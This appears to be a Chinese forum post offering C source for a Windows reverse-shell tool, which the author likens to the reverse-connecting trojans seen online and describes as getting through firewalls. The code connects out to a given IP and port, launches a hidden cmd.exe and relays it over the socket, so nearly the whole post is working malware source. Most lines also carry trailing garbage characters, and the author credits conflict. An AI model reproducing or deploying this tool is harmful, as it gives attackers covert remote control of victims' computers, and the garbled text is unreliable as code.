这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .M0pb^M
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/* ============================== Kxi@"<`S
Rebound port in Windows NT -m$2"_
By wind,2006/7 .dj}y
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===============================*/ m`n#Q#6
#include oWq]\yT<`
#include UTqKL*p523
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#pragma comment(lib,"wsock32.lib") U5[r&Y
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void OutputShell(); gps.
SOCKET sClient; # ELYPp]6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; L$^)QxH7
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void main(int argc,char **argv) g|M>C:ZT
{ Bnw^W_
WSADATA stWsaData; )lP(isFP
int nRet; ]PB95%
SOCKADDR_IN stSaiClient,stSaiServer; 7Ac.^rv5
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if(argc != 3) MHS|gR.c
{ dRUmC H
printf("Useage:\n\rRebound DestIP DestPort\n"); HahA} Q
return; =)J)xH!N
} (/7cXd@\6
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WSAStartup(MAKEWORD(2,2),&stWsaData); G> sqfYkK
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {"O-/*
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stSaiClient.sin_family = AF_INET; ? 3oUkGfn
stSaiClient.sin_port = htons(0); J)sOne
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 79B+8= K
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,My'_"S?
{ B^.:dn
printf("Bind Socket Failed!\n"); z6fY_LL
return; yF-`f
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} 3dgPP@7d$
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stSaiServer.sin_family = AF_INET; %
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); qR
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); K{XE|g
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) uJa.]J~L=
{ <&HHo>rl
printf("Connect Error!"); K14v6d
return; L }R-|
} EmyE%$*T
OutputShell(); 1w+)ne_&
} gFXz:!A
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void OutputShell() f n8|@)J
{ Q)5V3Q]@^
char szBuff[1024]; TXqtE("BDl
SECURITY_ATTRIBUTES stSecurityAttributes; !E^\)=E)P
OSVERSIONINFO stOsversionInfo; @ ZN@EOM$+
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +ijxv
STARTUPINFO stStartupInfo; \
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char *szShell; WUb] 8$n
PROCESS_INFORMATION stProcessInformation; NKiWt
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unsigned long lBytesRead; _jaB[Q=By
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); g|j15&x
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 34L1Gxf
stSecurityAttributes.lpSecurityDescriptor = 0; .]N`]3$=
stSecurityAttributes.bInheritHandle = TRUE; "O_)~u
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $Qxy@vU
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); HTSk40V
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !PgwFJ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Us_1 #$p,
stStartupInfo.wShowWindow = SW_HIDE; AmrVxn4
stStartupInfo.hStdInput = hReadPipe; H% FP!03
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9{Igw"9ck
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GetVersionEx(&stOsversionInfo); ;,xM*
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switch(stOsversionInfo.dwPlatformId) /Eu|Jg=I
{ >uFFTik
case 1: whFJ]
szShell = "command.com"; 4ZkaH(a1
break; Xm<|m#
default: +]Ev
szShell = "cmd.exe"; DeI3(o7
break; u[nLrEnD
} ^OK;swDW
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); orAr3`AR3
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send(sClient,szMsg,77,0); LtV,djk
while(1) 8EU/}Ym
{ ,x?Jrcx~'C
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); < Yc)F.:
if(lBytesRead) @QE&D+NS
{ VFKFO9
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); D58RHgY[
send(sClient,szBuff,lBytesRead,0); J|([(
} H%0WD_
else yi2F#o 'K
{ 3CPSyF
lBytesRead=recv(sClient,szBuff,1024,0); Hxn#vAc
if(lBytesRead<=0) break; gw$?&[wY
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); arvKJmD
} R:[#OH.c
} ]1MZ:]k
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return; u"8KH
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}